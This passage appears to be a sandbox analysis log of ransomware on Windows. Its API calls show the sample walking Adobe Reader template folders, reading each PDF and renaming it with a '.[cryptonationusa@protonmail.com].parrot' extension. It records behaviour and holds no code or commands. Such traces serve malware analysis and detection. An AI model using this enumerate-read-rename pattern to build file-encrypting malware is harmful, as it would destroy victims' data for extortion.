(x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.006] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.006] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.007] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.007] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5416, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5416, lpOverlapped=0x0) returned 1 [0247.008] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.009] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.014] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.014] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.015] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.015] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.015] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.015] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.015] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10929, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0247.015] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.016] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.017] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.017] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10929, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x10929, lpOverlapped=0x0) returned 1 [0247.019] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.023] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.029] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.029] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.031] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.031] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10405, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x10405, lpOverlapped=0x0) returned 1 [0247.033] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.085] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.092] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.092] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.092] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.092] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.092] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.092] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.092] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10956, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0247.093] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.093] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.095] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.095] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10956, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x10956, lpOverlapped=0x0) returned 1 [0247.097] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.101] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.108] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.108] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.109] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.109] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1043a, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1043a, lpOverlapped=0x0) returned 1 [0247.113] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.116] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.122] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.122] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.124] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.124] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.124] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.124] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.124] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26ca2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0247.125] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.125] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.126] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.126] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26ca2, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x26ca2, lpOverlapped=0x0) returned 1 [0247.132] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.134] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.147] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.147] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.149] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.149] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25d4a, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x25d4a, lpOverlapped=0x0) returned 1 [0247.164] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.167] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.176] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.176] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.176] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.176] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.177] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.177] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.177] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11426, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0247.210] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.210] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.212] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.212] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11426, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x11426, lpOverlapped=0x0) returned 1 [0247.224] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.228] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.235] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.235] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.236] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.237] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10f09, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x10f09, lpOverlapped=0x0) returned 1 [0247.239] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.254] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.291] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.292] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.294] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.294] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.294] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.294] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.294] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5891, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0247.295] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.295] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.296] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.296] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5891, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5891, lpOverlapped=0x0) returned 1 [0247.298] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.299] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.305] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.305] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.307] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.307] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5be8, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5be8, lpOverlapped=0x0) returned 1 [0247.308] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.309] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 